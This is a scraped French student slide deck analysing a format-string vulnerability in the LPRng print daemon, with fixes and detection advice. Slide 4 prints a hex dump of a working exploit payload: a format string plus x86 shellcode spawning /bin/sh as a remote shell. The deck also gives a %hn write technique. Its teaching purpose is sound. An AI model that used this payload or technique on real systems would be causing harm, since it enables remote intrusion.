>16);lo=(bigvalue&0xffff)+0x10000-hi; sprintf(buf, "%%dd%1$hn%%dd%2$hn", hi, lo); Si hi=3000 et lo=6000, genere le format string: "%3000d%1$hn%6000d%2$hn" Si hi=3000 et lo=6000, genere le format string: "%3000d%1$hn%6000d%2$hn""> >16);lo=(bigvalue&0xffff)+0x10000-hi; sprintf(buf, "%%dd%1$hn%%dd%2$hn", hi, lo); Si hi=3000 et lo=6000, genere le format string: "%3000d%1$hn%6000d%2$hn" Si hi=3000 et lo=6000, genere le format string: "%3000d%1$hn%6000d%2$hn"">
Télécharger la présentation
La présentation est en train de télécharger. S'il vous plaît, attendez
Publié parJessamond Janvier Modifié depuis plus de 10 années
1
Analyse d’une attaque contre le systeme LPRng (groupe 7) - La vulnerabilite des format strings - Qu’est ce qu’une attaque de format strings? - Comment proviter de cette vulnerabilite pour ecrire des valeurs - Exemple d’application de l’attaque pour un programme simple - Une vulnerabilite dans LPRng - Le protocole LPD - Un bug de format de string dans une fonction de logging - L’attaque contre LPRng - Les solutions
2
La vulnerabilite des format strings Qu’est ce qu’une vulnerabilite de format string? Qu’est ce qu’une vulnerabilite de format string? Exemple: Exemple: void main() { char buf[512]; memset(buf, 0, sizeof(buf)); read(0, buf, sizeof(buf)); printf(buf);} A premiere vue pas de buffer overflow A premiere vue pas de buffer overflow Possibilite de lire des valeurs sur le stack, par exemple quand buf= “%x”. Possibilite de lire des valeurs sur le stack, par exemple quand buf= “%x”.
3
La vulnerabilite des format strings Comment ecrire des valeurs? Comment ecrire des valeurs? Utiliser la commande ‘%n’ de printf Utiliser la commande ‘%n’ de printf Exemple: Exemple: snprintf(buf, 4, "%100d%n", 0, &i) Comment faire pour ecrire des grandes valeurs a n’importe quel endroit? Comment faire pour ecrire des grandes valeurs a n’importe quel endroit? Utiliser %123$hn Utiliser %123$hn Exemple: Exemple:hi=(bigvalue>>16);lo=(bigvalue&0xffff)+0x10000-hi; sprintf(buf, "%%dd%1$hn%%dd%2$hn", hi, lo); Si hi=3000 et lo=6000, genere le format string: "%3000d%1$hn%6000d%2$hn" Si hi=3000 et lo=6000, genere le format string: "%3000d%1$hn%6000d%2$hn"
4
La vulnerabilite des format strings Exemple d’attaque Exemple d’attaque Programme cible: Programme cible: void main() { char buf[512]; memset(buf, 0, sizeof(buf)); read(0, buf, sizeof(buf)); printf(buf);} Format string utilise pour lancer un remote shell a partir de ce programme: Format string utilise pour lancer un remote shell a partir de ce programme: 00000000 E2 F9 FF BF E0 F9 FF BF 25 34 39 31 34 33 64 25........%49143d% 00000010 31 24 68 6E 25 37 39 38 36 35 64 25 32 24 68 6E1$hn%79865d%2$hn 00000020 EB 3B 5E 29 C0 89 46 10 40 89 C3 89 46 0C 40 89.;^)..F.@...F.@. 00000030 46 08 8D 4E 08 B0 66 CD 80 43 C6 46 10 10 66 89F..N..f..C.F..f. 00000040 5E 14 88 46 08 29 C0 89 C2 89 46 18 B0 90 66 89^..F.)....F...f. 00000050 46 16 8D 4E 14 89 4E 0C 8D 4E 08 EB 02 EB 3A B0F..N..N..N....:. 00000060 66 CD 80 89 5E 0C 43 43 B0 66 CD 80 89 56 0C 89f...^.CC.f...V.. 00000070 56 10 B0 66 43 CD 80 86 C3 B0 3F 29 C9 CD 80 B0V..fC.....?).... 00000080 3F 41 CD 80 B0 3F 41 CD 80 88 56 07 89 76 0C 87?A...?A...V..v.. 00000090 F3 8D 4B 0C B0 0B CD 80 90 E8 84 FF FF FF 2F 62..K.........../b 000000A0 69 6E 2F 73 68in/sh
5
Une vulnerabilite dans LPRng Le protocole LPD: Le protocole LPD: - une connection TCP sur le port 515 par commande - le premier byte du message envoye identifie la commande que l’on veut envoyer - voir RFC1179 pour details
6
Une vulnerabilite dans LPRng Un bug de format string dans une fonction de logging: Un bug de format string dans une fonction de logging: Quand un message recu ne correspond pas a une requete valide, le contenu du message est envoye a syslogd par l’appel suivant: Quand un message recu ne correspond pas a une requete valide, le contenu du message est envoye a syslogd par l’appel suivant: (void) syslog(SYSLOG_FACILITY | kind, msg); Le deuxieme argument de syslog correspond a un format string, comme le premier argument de printf, d’ou la vulnerabilite. Le deuxieme argument de syslog correspond a un format string, comme le premier argument de printf, d’ou la vulnerabilite.
7
L’attaque contre LPRng Envoyer dans un message au serveur lpd une requete intentionnellement invalide Envoyer dans un message au serveur lpd une requete intentionnellement invalide => le contenu du message sera envoye par syslog en position de format string => le contenu du message sera envoye par syslog en position de format string Inserer dans le message un format string malicieux Inserer dans le message un format string malicieux Effectuer une recherche brute force pour deviner la position dans le stack du buffer dans lequel sera stocke le message Effectuer une recherche brute force pour deviner la position dans le stack du buffer dans lequel sera stocke le message L’attaque a ete testee avec succes sur plusieurs systemes Redhat7.0 mis a disposition des etudiants pour le seminaire. L’attaque a ete testee avec succes sur plusieurs systemes Redhat7.0 mis a disposition des etudiants pour le seminaire.
8
Les solutions Ne jamais utliser comme format string une chaine de caracteres pouvant provenir de l’utilisateur Ne jamais utliser comme format string une chaine de caracteres pouvant provenir de l’utilisateur Remplacer Remplacer (void) syslog(SYSLOG_FACILITY | kind, msg); Par (void) syslog(SYSLOG_FACILITY | kind, "%s", msg); Utiliser des versions de LPRng > 3.5.24 Utiliser des versions de LPRng > 3.5.24 Detection d’intrusion en examinant le contenu des paquets envoyes au port 515 Detection d’intrusion en examinant le contenu des paquets envoyes au port 515
Présentations similaires
© 2024 SlidePlayer.fr Inc.
All rights reserved.